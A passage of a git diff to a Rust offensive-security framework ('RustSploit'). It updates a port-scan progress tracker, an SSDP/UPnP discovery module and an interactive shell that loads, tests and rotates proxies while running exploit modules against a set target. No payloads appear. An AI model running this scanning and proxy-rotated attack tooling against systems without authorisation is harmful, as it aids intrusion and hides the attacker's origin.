let addrs: Vec<_> = (cleaned, 0).to_socket_addrs()?.collect();
|
||||
// Prefer IPv4, else fallback to first address
|
||||
if let Some(addr) = addrs.iter().find(|a| a.is_ipv4()) {
|
||||
Ok((addr.ip().to_string(), addr.ip()))
|
||||
} else if let Some(addr) = addrs.first() {
|
||||
@@ -201,7 +465,7 @@ fn resolve_target(input: &str) -> Result<(String, std::net::IpAddr)> {
|
||||
|
||||
/// === Prompt Utilities ===
|
||||
fn prompt(message: &str) -> Result<String> {
|
||||
print!("{}", message);
|
||||
print!("{}", message.cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
let mut buf = String::new();
|
||||
io::stdin().read_line(&mut buf)?;
|
||||
@@ -211,10 +475,13 @@ fn prompt(message: &str) -> Result<String> {
|
||||
fn prompt_bool(message: &str) -> Result<bool> {
|
||||
loop {
|
||||
let input = prompt(message)?;
|
||||
if input.is_empty() {
|
||||
return Ok(false);
|
||||
}
|
||||
match input.to_lowercase().as_str() {
|
||||
"y" | "yes" => return Ok(true),
|
||||
"n" | "no" => return Ok(false),
|
||||
_ => println!("Please enter 'y' or 'n'."),
|
||||
_ => println!("{}", "Please enter 'y' or 'n'.".yellow()),
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -222,26 +489,105 @@ fn prompt_bool(message: &str) -> Result<bool> {
|
||||
fn prompt_usize(message: &str) -> Result<usize> {
|
||||
loop {
|
||||
let input = prompt(message)?;
|
||||
if input.is_empty() {
|
||||
return Err(anyhow!("Input required"));
|
||||
}
|
||||
if let Ok(n) = input.parse::<usize>() {
|
||||
return Ok(n);
|
||||
}
|
||||
println!("Please enter a valid number.");
|
||||
println!("{}", "Please enter a valid number.".yellow());
|
||||
}
|
||||
}
|
||||
|
||||
/// === Progress Bar Struct ===
|
||||
struct ProgressBar {
|
||||
total: usize,
|
||||
current: usize,
|
||||
/// === Scan Statistics ===
|
||||
struct ScanStats {
|
||||
tcp_open: usize,
|
||||
tcp_closed: usize,
|
||||
tcp_filtered: usize,
|
||||
udp_open: usize,
|
||||
udp_closed: usize,
|
||||
udp_filtered: usize,
|
||||
}
|
||||
impl ProgressBar {
|
||||
fn new(total: usize) -> Self {
|
||||
ProgressBar { total, current: 0 }
|
||||
}
|
||||
fn increment(&mut self) {
|
||||
self.current += 1;
|
||||
if self.current % 1000 == 0 || self.current == self.total {
|
||||
println!("[*] Progress: {}/{}", self.current, self.total);
|
||||
|
||||
impl ScanStats {
|
||||
fn new() -> Self {
|
||||
ScanStats {
|
||||
tcp_open: 0,
|
||||
tcp_closed: 0,
|
||||
tcp_filtered: 0,
|
||||
udp_open: 0,
|
||||
udp_closed: 0,
|
||||
udp_filtered: 0,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// === Progress Tracker ===
|
||||
struct ProgressTracker {
|
||||
total: usize,
|
||||
current: usize,
|
||||
last_print: usize,
|
||||
start_time: Option<Instant>,
|
||||
}
|
||||
|
||||
impl ProgressTracker {
|
||||
fn new(total: usize) -> Self {
|
||||
ProgressTracker {
|
||||
total,
|
||||
current: 0,
|
||||
last_print: 0,
|
||||
start_time: None,
|
||||
}
|
||||
}
|
||||
|
||||
fn increment(&mut self, start_time: &Instant) {
|
||||
if self.start_time.is_none() {
|
||||
self.start_time = Some(*start_time);
|
||||
}
|
||||
self.current += 1;
|
||||
}
|
||||
|
||||
fn should_print(&self) -> bool {
|
||||
let diff = self.current - self.last_print;
|
||||
diff >= 100 || self.current == self.total
|
||||
}
|
||||
|
||||
fn print_progress(&mut self) {
|
||||
if self.current == 0 {
|
||||
return;
|
||||
}
|
||||
|
||||
let percentage = (self.current as f64 / self.total as f64) * 100.0;
|
||||
let elapsed = self.start_time.map(|s| s.elapsed()).unwrap_or_default();
|
||||
|
||||
let rate = if elapsed.as_secs() > 0 {
|
||||
self.current as f64 / elapsed.as_secs() as f64
|
||||
} else {
|
||||
0.0
|
||||
};
|
||||
|
||||
let remaining = if rate > 0.0 {
|
||||
(self.total - self.current) as f64 / rate
|
||||
} else {
|
||||
0.0
|
||||
};
|
||||
|
||||
print!("\r{}", format!(
|
||||
"[*] Progress: {}/{} ({:.1}%) | Rate: {:.0} ports/sec | ETA: {:.0}s",
|
||||
self.current,
|
||||
self.total,
|
||||
percentage,
|
||||
rate,
|
||||
remaining
|
||||
).cyan());
|
||||
io::stdout().flush().unwrap();
|
||||
|
||||
if self.current == self.total {
|
||||
println!();
|
||||
}
|
||||
|
||||
self.last_print = self.current;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
@@ -1,46 +1,142 @@
|
||||
use anyhow::{Result};
|
||||
use anyhow::{Context, Result};
|
||||
use colored::*;
|
||||
use regex::Regex;
|
||||
use std::collections::HashMap;
|
||||
use std::io::Write;
|
||||
use std::net::SocketAddr;
|
||||
use tokio::net::UdpSocket;
|
||||
use tokio::time::{timeout, Duration};
|
||||
use tokio::time::{timeout as tokio_timeout, Duration};
|
||||
|
||||
/// SSDP Search Target types
|
||||
#[derive(Clone, Debug)]
|
||||
enum SearchTarget {
|
||||
RootDevice,
|
||||
All,
|
||||
Custom(String),
|
||||
}
|
||||
|
||||
impl SearchTarget {
|
||||
fn st_header(&self) -> &str {
|
||||
match self {
|
||||
SearchTarget::RootDevice => "upnp:rootdevice",
|
||||
SearchTarget::All => "ssdp:all",
|
||||
SearchTarget::Custom(st) => st,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
let port = prompt_port().unwrap_or(1900);
|
||||
let timeout_secs = prompt_timeout().unwrap_or(3);
|
||||
let retries = prompt_retries().unwrap_or(1);
|
||||
let verbose = prompt_verbose().unwrap_or(false);
|
||||
|
||||
let target = clean_ipv6_brackets(target);
|
||||
// Validate target format
|
||||
let _ = normalize_target(&target, port)
|
||||
.with_context(|| format!("Failed to normalize target '{}'", target))?;
|
||||
|
||||
let addr = normalize_target(&target, port)?;
|
||||
// Determine search targets
|
||||
let search_targets = prompt_search_targets()?;
|
||||
|
||||
println!("[*] Sending SSDP M-SEARCH to {}...", addr);
|
||||
println!("{}", format!("[*] Sending SSDP M-SEARCH to {}:{}...", target, port).bold());
|
||||
|
||||
let local_bind: SocketAddr = "0.0.0.0:0".parse()?;
|
||||
let socket = UdpSocket::bind(local_bind).await?;
|
||||
socket.connect(&addr).await?;
|
||||
let mut found_any = false;
|
||||
|
||||
for (idx, st) in search_targets.iter().enumerate() {
|
||||
if search_targets.len() > 1 {
|
||||
println!(
|
||||
"{}",
|
||||
format!("[*] Trying ST: {} ({}/{})", st.st_header(), idx + 1, search_targets.len())
|
||||
.cyan()
|
||||
);
|
||||
}
|
||||
|
||||
for attempt in 1..=retries {
|
||||
if retries > 1 {
|
||||
println!(" [*] Attempt {}/{}", attempt, retries);
|
||||
}
|
||||
|
||||
match send_ssdp_request(&target, port, st, Duration::from_secs(timeout_secs), verbose).await {
|
||||
Ok(Some(response)) => {
|
||||
found_any = true;
|
||||
parse_ssdp_response(&response, &target, port, st.st_header());
|
||||
break; // Success, no need to retry
|
||||
}
|
||||
Ok(None) => {
|
||||
if verbose {
|
||||
println!(" {} No response received", "[-]".dimmed());
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
if verbose {
|
||||
eprintln!(" {} Error: {}", "[!]".yellow(), e);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Small delay between retries
|
||||
if attempt < retries {
|
||||
tokio::time::sleep(Duration::from_millis(500)).await;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if !found_any {
|
||||
println!("{}", "[-] Target did not respond to any M-SEARCH requests".yellow());
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn send_ssdp_request(
|
||||
target: &str,
|
||||
port: u16,
|
||||
st: &SearchTarget,
|
||||
timeout: Duration,
|
||||
verbose: bool,
|
||||
) -> Result<Option<String>> {
|
||||
let local_bind: SocketAddr = "0.0.0.0:0".parse()
|
||||
.context("Failed to parse local bind address")?;
|
||||
|
||||
let socket = UdpSocket::bind(local_bind).await
|
||||
.context("Failed to bind UDP socket")?;
|
||||
|
||||
let remote_addr: SocketAddr = format!("{}:{}", target, port).parse()
|
||||
.with_context(|| format!("Failed to parse remote address {}:{}", target, port))?;
|
||||
|
||||
socket.connect(&remote_addr).await
|
||||
.with_context(|| format!("Failed to connect to {}:{}", target, port))?;
|
||||
|
||||
let request = format!(
|
||||
"M-SEARCH * HTTP/1.1\r\n\
|
||||
HOST: {}:{}\r\n\
|
||||
MAN: \"ssdp:discover\"\r\n\
|
||||
MX: 2\r\n\
|
||||
ST: upnp:rootdevice\r\n\r\n",
|
||||
target, port
|
||||
MX: {}\r\n\
|
||||
ST: {}\r\n\
|
||||
USER-AGENT: RustSploit/1.0\r\n\r\n",
|
||||
target,
|
||||
port,
|
||||
timeout.as_secs().max(1),
|
||||
st.st_header()
|
||||
);
|
||||
|
||||
socket.send(request.as_bytes()).await?;
|
||||
|
||||
let mut buf = vec![0u8; 2048];
|
||||
match timeout(Duration::from_secs(3), socket.recv(&mut buf)).await {
|
||||
Ok(Ok(size)) => {
|
||||
let response = String::from_utf8_lossy(&buf[..size]);
|
||||
parse_ssdp_response(&response, &target, port);
|
||||
}
|
||||
_ => {
|
||||
println!("[-] Target did not respond to M-SEARCH request");
|
||||
}
|
||||
if verbose {
|
||||
println!(" [*] Sending request:\n{}", request.dimmed());
|
||||
}
|
||||
|
||||
Ok(())
|
||||
socket.send(request.as_bytes()).await
|
||||
.context("Failed to send SSDP request")?;
|
||||
|
||||
let mut buf = vec![0u8; 4096]; // Increased buffer size for larger responses
|
||||
match tokio_timeout(timeout, socket.recv(&mut buf)).await {
|
||||
Ok(Ok(size)) => {
|
||||
let response = String::from_utf8_lossy(&buf[..size]).to_string();
|
||||
Ok(Some(response))
|
||||
}
|
||||
Ok(Err(e)) => Err(anyhow::anyhow!("Failed to receive response: {}", e)),
|
||||
Err(_) => Ok(None), // Timeout
|
||||
}
|
||||
}
|
||||
|
||||
/// Normalize the target: IPv6 -> [ipv6]:port, IPv4 stays as ipv4:port
|
||||
@@ -67,9 +163,10 @@ fn clean_ipv6_brackets(ip: &str) -> String {
|
||||
|
||||
/// Ask user for port (optional), fallback to 1900 if empty
|
||||
fn prompt_port() -> Option<u16> {
|
||||
println!("[*] Enter custom port (default 1900): ");
|
||||
print!("{}", "[*] Enter custom port (default 1900): ".cyan().bold());
|
||||
std::io::stdout().flush().ok();
|
||||
let mut input = String::new();
|
||||
if let Ok(_) = std::io::stdin().read_line(&mut input) {
|
||||
if std::io::stdin().read_line(&mut input).is_ok() {
|
||||
let input = input.trim();
|
||||
if input.is_empty() {
|
||||
return None;
|
||||
@@ -81,11 +178,119 @@ fn prompt_port() -> Option<u16> {
|
||||
None
|
||||
}
|
||||
|
||||
fn parse_ssdp_response(response: &str, target_ip: &str, port: u16) {
|
||||
/// Ask user for timeout in seconds
|
||||
fn prompt_timeout() -> Option<u64> {
|
||||
print!("{}", "[*] Enter timeout in seconds (default 3): ".cyan().bold());
|
||||
std::io::stdout().flush().ok();
|
||||
let mut input = String::new();
|
||||
if std::io::stdin().read_line(&mut input).is_ok() {
|
||||
let input = input.trim();
|
||||
if input.is_empty() {
|
||||
return None;
|
||||
}
|
||||
if let Ok(t) = input.parse::<u64>() {
|
||||
if t > 0 && t <= 60 {
|
||||
return Some(t);
|
||||
}
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
|
||||
/// Ask user for number of retries
|
||||
fn prompt_retries() -> Option<u32> {
|
||||
print!("{}", "[*] Enter number of retries (default 1): ".cyan().bold());
|
||||
std::io::stdout().flush().ok();
|
||||
let mut input = String::new();
|
||||
if std::io::stdin().read_line(&mut input).is_ok() {
|
||||
let input = input.trim();
|
||||
if input.is_empty() {
|
||||
return None;
|
||||
}
|
||||
if let Ok(r) = input.parse::<u32>() {
|
||||
if r > 0 && r <= 10 {
|
||||
return Some(r);
|
||||
}
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
|
||||
/// Ask user for verbose mode
|
||||
fn prompt_verbose() -> Option<bool> {
|
||||
print!("{}", "[*] Verbose output? [y/N]: ".cyan().bold());
|
||||
std::io::stdout().flush().ok();
|
||||
let mut input = String::new();
|
||||
if std::io::stdin().read_line(&mut input).is_ok() {
|
||||
let input = input.trim().to_lowercase();
|
||||
match input.as_str() {
|
||||
"y" | "yes" => return Some(true),
|
||||
"n" | "no" | "" => return Some(false),
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
|
||||
/// Ask user for search targets
|
||||
fn prompt_search_targets() -> Result<Vec<SearchTarget>> {
|
||||
let mut targets = Vec::new();
|
||||
|
||||
println!("{}", "[*] Select SSDP Search Targets:".cyan().bold());
|
||||
println!(" 1. upnp:rootdevice (default)");
|
||||
println!(" 2. ssdp:all");
|
||||
println!(" 3. Custom ST");
|
||||
println!(" 4. All of the above");
|
||||
|
||||
print!("{}", "Enter choice [1-4, default 1]: ".cyan().bold());
|
||||
std::io::stdout().flush().ok();
|
||||
let mut input = String::new();
|
||||
std::io::stdin().read_line(&mut input).ok();
|
||||
|
||||
match input.trim() {
|
||||
"1" | "" => {
|
||||
targets.push(SearchTarget::RootDevice);
|
||||
}
|
||||
"2" => {
|
||||
targets.push(SearchTarget::All);
|
||||
}
|
||||
"3" => {
|
||||
print!("{}", "Enter custom ST: ".cyan().bold());
|
||||
std::io::stdout().flush().ok();
|
||||
let mut st_input = String::new();
|
||||
std::io::stdin().read_line(&mut st_input).ok();
|
||||
let st = st_input.trim().to_string();
|
||||
if !st.is_empty() {
|
||||
targets.push(SearchTarget::Custom(st));
|
||||
} else {
|
||||
targets.push(SearchTarget::RootDevice);
|
||||
}
|
||||
}
|
||||
"4" => {
|
||||
targets.push(SearchTarget::RootDevice);
|
||||
targets.push(SearchTarget::All);
|
||||
}
|
||||
_ => {
|
||||
targets.push(SearchTarget::RootDevice);
|
||||
}
|
||||
}
|
||||
|
||||
if targets.is_empty() {
|
||||
targets.push(SearchTarget::RootDevice);
|
||||
}
|
||||
|
||||
Ok(targets)
|
||||
}
|
||||
|
||||
fn parse_ssdp_response(response: &str, target_ip: &str, port: u16, st: &str) {
|
||||
let regexps = vec![
|
||||
("server", r"(?i)Server:\s*(.*?)\r\n"),
|
||||
("location", r"(?i)Location:\s*(.*?)\r\n"),
|
||||
("usn", r"(?i)USN:\s*(.*?)\r\n"),
|
||||
("st", r"(?i)ST:\s*(.*?)\r\n"),
|
||||
("nt", r"(?i)NT:\s*(.*?)\r\n"),
|
||||
("cache-control", r"(?i)Cache-Control:\s*(.*?)\r\n"),
|
||||
("ext", r"(?i)EXT:\s*(.*?)\r\n"),
|
||||
];
|
||||
|
||||
let mut results: HashMap<&str, String> = HashMap::new();
|
||||
@@ -93,19 +298,47 @@ fn parse_ssdp_response(response: &str, target_ip: &str, port: u16) {
|
||||
for (key, pattern) in regexps {
|
||||
if let Ok(re) = Regex::new(pattern) {
|
||||
if let Some(caps) = re.captures(response) {
|
||||
results.insert(key, caps.get(1).map(|m| m.as_str()).unwrap_or("").to_string());
|
||||
let value = caps.get(1)
|
||||
.map(|m| m.as_str().trim())
|
||||
.unwrap_or("")
|
||||
.to_string();
|
||||
results.insert(key, value);
|
||||
} else {
|
||||
results.insert(key, String::from(""));
|
||||
results.insert(key, String::new());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
println!(
|
||||
"[+] {}:{} | {} | {} | {}",
|
||||
target_ip,
|
||||
port,
|
||||
results.get("server").unwrap_or(&"".to_string()),
|
||||
results.get("location").unwrap_or(&"".to_string()),
|
||||
results.get("usn").unwrap_or(&"".to_string())
|
||||
);
|
||||
// Check HTTP status
|
||||
let status_line = response.lines().next().unwrap_or("");
|
||||
let status_ok = status_line.contains("200") || status_line.contains("HTTP/1.1");
|
||||
|
||||
if status_ok {
|
||||
println!(
|
||||
"{}",
|
||||
format!(
|
||||
"[+] {}:{} | ST: {} | Server: {} | Location: {} | USN: {}",
|
||||
target_ip,
|
||||
port,
|
||||
results.get("st").or(results.get("nt")).unwrap_or(&st.to_string()),
|
||||
results.get("server").unwrap_or(&String::new()),
|
||||
results.get("location").unwrap_or(&String::new()),
|
||||
results.get("usn").unwrap_or(&String::new())
|
||||
)
|
||||
.green()
|
||||
);
|
||||
|
||||
// Show additional headers if present
|
||||
if let Some(cache) = results.get("cache-control") {
|
||||
if !cache.is_empty() {
|
||||
println!(" {} Cache-Control: {}", " |".dimmed(), cache.dimmed());
|
||||
}
|
||||
}
|
||||
} else {
|
||||
println!(
|
||||
"{}",
|
||||
format!("[!] {}:{} | Unexpected response: {}", target_ip, port, status_line)
|
||||
.yellow()
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
+530
-141
@@ -1,11 +1,17 @@
|
||||
use crate::commands;
|
||||
use crate::utils;
|
||||
use anyhow::Result;
|
||||
use rand::prelude::*; // rand 0.9 prelude provides rng() and SliceRandom
|
||||
use colored::*;
|
||||
use rand::prelude::*;
|
||||
use std::env;
|
||||
use std::io::{self, Write};
|
||||
use std::collections::HashSet;
|
||||
|
||||
const MAX_INPUT_LENGTH: usize = 4096;
|
||||
const MAX_PROXY_LIST_SIZE: usize = 10_000;
|
||||
const MAX_TARGET_LENGTH: usize = 512;
|
||||
const MAX_COMMAND_CHAIN_LENGTH: usize = 10;
|
||||
|
||||
/// Simple interactive shell context
|
||||
struct ShellContext {
|
||||
current_module: Option<String>,
|
||||
@@ -31,155 +37,296 @@ pub async fn interactive_shell() -> Result<()> {
|
||||
|
||||
let mut ctx = ShellContext::new();
|
||||
|
||||
loop {
|
||||
print!("rsf> ");
|
||||
'main_loop: loop {
|
||||
print!("{}", "rsf> ".cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
|
||||
let mut input = String::new();
|
||||
io::stdin().read_line(&mut input)?;
|
||||
let input = input.trim();
|
||||
let mut raw_input = String::new();
|
||||
io::stdin().read_line(&mut raw_input)?;
|
||||
|
||||
if input.is_empty() {
|
||||
if raw_input.len() > MAX_INPUT_LENGTH {
|
||||
println!(
|
||||
"{}",
|
||||
format!(
|
||||
"[!] Input length exceeds {} characters and was ignored.",
|
||||
MAX_INPUT_LENGTH
|
||||
)
|
||||
.yellow()
|
||||
);
|
||||
continue;
|
||||
}
|
||||
let trimmed = raw_input.trim();
|
||||
|
||||
if trimmed.is_empty() {
|
||||
continue;
|
||||
}
|
||||
|
||||
match input {
|
||||
"exit" | "quit" => {
|
||||
println!("Exiting...");
|
||||
break;
|
||||
},
|
||||
"help" => {
|
||||
println!("Available commands:");
|
||||
println!(" use <module_path> - Select a module (e.g. 'use exploits/sample_exploit')");
|
||||
println!(" set target <value> - Set the target IP/host");
|
||||
println!(" run - Run the current module (with proxy retries if enabled)");
|
||||
println!(" modules - List available modules");
|
||||
println!(" find <keyword> - Search for a module by keyword");
|
||||
println!(" proxy_load <file> - Load a list of proxies (http://ip:port, https://ip:port, socks4://ip:port, socks5://ip:port.)");
|
||||
println!(" proxy_on - Enable proxy usage");
|
||||
println!(" proxy_off - Disable proxy usage");
|
||||
println!(" show_proxies - Show loaded proxies & current proxy status");
|
||||
println!(" exit, quit - Exit the shell");
|
||||
},
|
||||
"modules" => {
|
||||
utils::list_all_modules();
|
||||
},
|
||||
cmd if cmd.starts_with("find ") => {
|
||||
let keyword = cmd.trim_start_matches("find ").trim();
|
||||
if keyword.is_empty() {
|
||||
println!("Usage: find <keyword>");
|
||||
} else {
|
||||
utils::find_modules(keyword);
|
||||
}
|
||||
},
|
||||
cmd if cmd.starts_with("proxy_load ") => {
|
||||
let file = cmd.trim_start_matches("proxy_load ").trim();
|
||||
match utils::load_proxies_from_file(file) {
|
||||
Ok(list) => {
|
||||
ctx.proxy_list = list;
|
||||
println!("Loaded {} proxies from '{}'.", ctx.proxy_list.len(), file);
|
||||
}
|
||||
Err(e) => {
|
||||
println!("Failed to load proxies: {}", e);
|
||||
}
|
||||
}
|
||||
},
|
||||
"proxy_on" => {
|
||||
ctx.proxy_enabled = true;
|
||||
println!("Proxy usage enabled.");
|
||||
},
|
||||
"proxy_off" => {
|
||||
ctx.proxy_enabled = false;
|
||||
println!("Proxy usage disabled.");
|
||||
clear_proxy_env_vars();
|
||||
},
|
||||
"show_proxies" => {
|
||||
if ctx.proxy_list.is_empty() {
|
||||
println!("No proxies loaded. Use 'proxy_load <file>' to load them.");
|
||||
} else {
|
||||
println!("Loaded proxies ({}):", ctx.proxy_list.len());
|
||||
for p in &ctx.proxy_list {
|
||||
println!(" {}", p);
|
||||
}
|
||||
}
|
||||
println!("Proxy is currently {}.", if ctx.proxy_enabled { "ON" } else { "OFF" });
|
||||
},
|
||||
cmd if cmd.starts_with("use ") => {
|
||||
let module_path = cmd.trim_start_matches("use ").trim();
|
||||
if utils::module_exists(module_path) {
|
||||
ctx.current_module = Some(module_path.to_string());
|
||||
println!("Module '{}' selected.", module_path);
|
||||
} else {
|
||||
println!("Module '{}' not found.", module_path);
|
||||
}
|
||||
},
|
||||
cmd if cmd.starts_with("set ") => {
|
||||
let parts: Vec<&str> = cmd.split_whitespace().collect();
|
||||
if parts.len() >= 3 && parts[1] == "target" {
|
||||
ctx.current_target = Some(parts[2].to_string());
|
||||
println!("Target set to {}", parts[2]);
|
||||
} else {
|
||||
println!("Usage: set target <value>");
|
||||
}
|
||||
},
|
||||
"run" => {
|
||||
if let Some(ref module_path) = ctx.current_module {
|
||||
if let Some(ref t) = ctx.current_target {
|
||||
// -----------------------------
|
||||
// NEW: Proxy Retry Logic
|
||||
// -----------------------------
|
||||
if ctx.proxy_enabled && !ctx.proxy_list.is_empty() {
|
||||
let mut tried_proxies = HashSet::new();
|
||||
let mut success = false;
|
||||
// Support command chaining with & separator
|
||||
let commands: Vec<&str> = trimmed
|
||||
.split('&')
|
||||
.map(|s| s.trim())
|
||||
.filter(|s| !s.is_empty())
|
||||
.take(MAX_COMMAND_CHAIN_LENGTH)
|
||||
.collect();
|
||||
|
||||
while tried_proxies.len() < ctx.proxy_list.len() {
|
||||
let chosen_proxy = pick_random_untried_proxy(&ctx.proxy_list, &tried_proxies);
|
||||
set_all_proxy_env(&chosen_proxy);
|
||||
println!("[*] Using proxy: {}", chosen_proxy);
|
||||
if trimmed.split('&').count() > MAX_COMMAND_CHAIN_LENGTH {
|
||||
println!(
|
||||
"{}",
|
||||
format!("[!] Command chain exceeds maximum length of {}. Truncating.", MAX_COMMAND_CHAIN_LENGTH)
|
||||
.yellow()
|
||||
);
|
||||
}
|
||||
|
||||
println!("Running module '{}' against target '{}'", module_path, t);
|
||||
match commands::run_module(module_path, t).await {
|
||||
Ok(_) => {
|
||||
success = true;
|
||||
break;
|
||||
}
|
||||
Err(e) => {
|
||||
eprintln!("[!] Module failed with error: {:?}", e);
|
||||
eprintln!(" Retrying with a new proxy...");
|
||||
tried_proxies.insert(chosen_proxy);
|
||||
}
|
||||
}
|
||||
}
|
||||
for cmd_input in commands {
|
||||
if cmd_input.is_empty() {
|
||||
continue;
|
||||
}
|
||||
|
||||
if !success {
|
||||
println!("[!] All proxies failed. Trying direct connection...");
|
||||
clear_proxy_env_vars();
|
||||
if let Err(e) = commands::run_module(module_path, t).await {
|
||||
eprintln!("[!] Final direct attempt also failed: {:?}", e);
|
||||
}
|
||||
}
|
||||
} else if ctx.proxy_enabled && ctx.proxy_list.is_empty() {
|
||||
println!("[!] No proxies loaded, but proxy is ON. Doing direct attempt...");
|
||||
match split_command(cmd_input) {
|
||||
Some((cmd, rest)) => {
|
||||
let command_key = resolve_command(&cmd);
|
||||
match command_key.as_str() {
|
||||
"exit" => {
|
||||
println!("Exiting...");
|
||||
clear_proxy_env_vars();
|
||||
if let Err(e) = commands::run_module(module_path, t).await {
|
||||
eprintln!("[!] Module failed: {:?}", e);
|
||||
}
|
||||
} else {
|
||||
clear_proxy_env_vars();
|
||||
if let Err(e) = commands::run_module(module_path, t).await {
|
||||
eprintln!("[!] Module failed: {:?}", e);
|
||||
break 'main_loop;
|
||||
}
|
||||
"back" => {
|
||||
ctx.current_module = None;
|
||||
ctx.current_target = None;
|
||||
println!("{}", "Cleared current module and target.".green());
|
||||
}
|
||||
"help" => render_help(),
|
||||
"modules" => utils::list_all_modules(),
|
||||
"find" => {
|
||||
if rest.is_empty() {
|
||||
println!("{}", "Usage: find <keyword>".yellow());
|
||||
} else {
|
||||
utils::find_modules(&rest);
|
||||
}
|
||||
}
|
||||
} else {
|
||||
println!("No target set. Use 'set target <value>' first.");
|
||||
"proxy_load" => {
|
||||
let file_path = if rest.is_empty() {
|
||||
match prompt_for_path("Path to proxy list file: ") {
|
||||
Ok(path) => path,
|
||||
Err(e) => {
|
||||
println!("{}", format!("[!] Error reading input: {}", e).red());
|
||||
continue;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
rest.to_string()
|
||||
};
|
||||
|
||||
match utils::load_proxies_from_file(&file_path) {
|
||||
Ok(summary) => {
|
||||
let mut unique = HashSet::new();
|
||||
let mut deduped = Vec::new();
|
||||
for proxy in summary.proxies.iter() {
|
||||
if unique.insert(proxy.clone()) {
|
||||
deduped.push(proxy.clone());
|
||||
}
|
||||
}
|
||||
|
||||
if deduped.len() > MAX_PROXY_LIST_SIZE {
|
||||
println!(
|
||||
"{}",
|
||||
format!(
|
||||
"[!] Loaded proxy list exceeded {} entries. Truncating.",
|
||||
MAX_PROXY_LIST_SIZE
|
||||
)
|
||||
.yellow()
|
||||
);
|
||||
deduped.truncate(MAX_PROXY_LIST_SIZE);
|
||||
}
|
||||
|
||||
let removed = summary.proxies.len().saturating_sub(deduped.len());
|
||||
if removed > 0 {
|
||||
println!(
|
||||
"{}",
|
||||
format!(
|
||||
"[*] Removed {} duplicate proxy entr{}.",
|
||||
removed,
|
||||
if removed == 1 { "y" } else { "ies" }
|
||||
)
|
||||
.dimmed()
|
||||
);
|
||||
}
|
||||
|
||||
ctx.proxy_list = deduped;
|
||||
println!(
|
||||
"Loaded {} proxies from '{}'.",
|
||||
ctx.proxy_list.len(),
|
||||
file_path
|
||||
);
|
||||
|
||||
if !summary.skipped.is_empty() {
|
||||
println!(
|
||||
"{}",
|
||||
format!(
|
||||
"Skipped {} invalid entr{}:",
|
||||
summary.skipped.len(),
|
||||
if summary.skipped.len() == 1 { "y" } else { "ies" }
|
||||
)
|
||||
.yellow()
|
||||
);
|
||||
for failure in summary.skipped.iter().take(10) {
|
||||
println!(
|
||||
" [line {}] {} ({})",
|
||||
failure.line_number,
|
||||
failure.content,
|
||||
failure.reason
|
||||
);
|
||||
}
|
||||
if summary.skipped.len() > 10 {
|
||||
println!(
|
||||
" ... {} additional entr{} skipped.",
|
||||
summary.skipped.len() - 10,
|
||||
if summary.skipped.len() - 10 == 1 {
|
||||
"y"
|
||||
} else {
|
||||
"ies"
|
||||
}
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
match prompt_yes_no("Test connectivity of loaded proxies? (recommended)", true) {
|
||||
Ok(true) => {
|
||||
if let Err(e) = test_current_proxies(&mut ctx).await {
|
||||
println!("{}", format!("[!] Proxy testing failed: {}", e).red());
|
||||
}
|
||||
}
|
||||
Ok(false) => {}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[!] Error reading input: {}", e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
println!("Failed to load proxies: {}", e);
|
||||
}
|
||||
}
|
||||
}
|
||||
"proxy_on" => {
|
||||
ctx.proxy_enabled = true;
|
||||
println!("Proxy usage enabled.");
|
||||
}
|
||||
"proxy_off" => {
|
||||
ctx.proxy_enabled = false;
|
||||
println!("Proxy usage disabled.");
|
||||
clear_proxy_env_vars();
|
||||
}
|
||||
"proxy_test" => {
|
||||
if let Err(e) = test_current_proxies(&mut ctx).await {
|
||||
println!("{}", format!("[!] Proxy testing failed: {}", e).red());
|
||||
}
|
||||
}
|
||||
"show_proxies" => {
|
||||
if ctx.proxy_list.is_empty() {
|
||||
println!("No proxies loaded. Use 'proxy_load <file>' to load them.");
|
||||
} else {
|
||||
println!("Loaded proxies ({}):", ctx.proxy_list.len());
|
||||
for p in &ctx.proxy_list {
|
||||
println!(" {}", p);
|
||||
}
|
||||
}
|
||||
println!("Proxy is currently {}.", if ctx.proxy_enabled { "ON" } else { "OFF" });
|
||||
}
|
||||
"use" => {
|
||||
if rest.is_empty() {
|
||||
println!("{}", "Usage: use <module_path>".yellow());
|
||||
} else if let Some(safe_path) = sanitize_module_path(&rest) {
|
||||
if utils::module_exists(&safe_path) {
|
||||
ctx.current_module = Some(safe_path.clone());
|
||||
println!("{}", format!("Module '{}' selected.", safe_path).green());
|
||||
} else {
|
||||
println!("{}", format!("Module '{}' not found.", rest).red());
|
||||
}
|
||||
} else {
|
||||
println!(
|
||||
"{}",
|
||||
"Module path contains invalid characters or traversal attempts."
|
||||
.red()
|
||||
);
|
||||
}
|
||||
}
|
||||
"set" => {
|
||||
if let Some(raw_value) = rest.strip_prefix("target").map(|s| s.trim()) {
|
||||
match sanitize_target(raw_value) {
|
||||
Ok(valid_target) => {
|
||||
ctx.current_target = Some(valid_target.clone());
|
||||
println!("{}", format!("Target set to {}", valid_target).green());
|
||||
}
|
||||
Err(reason) => {
|
||||
println!("{}", format!("[!] {}", reason).yellow());
|
||||
}
|
||||
}
|
||||
} else {
|
||||
println!("{}", "Usage: set target <value>".yellow());
|
||||
}
|
||||
}
|
||||
"run" => {
|
||||
if let Some(ref module_path) = ctx.current_module {
|
||||
if let Some(ref t) = ctx.current_target {
|
||||
if ctx.proxy_enabled && !ctx.proxy_list.is_empty() {
|
||||
let mut tried_proxies = HashSet::new();
|
||||
let mut success = false;
|
||||
|
||||
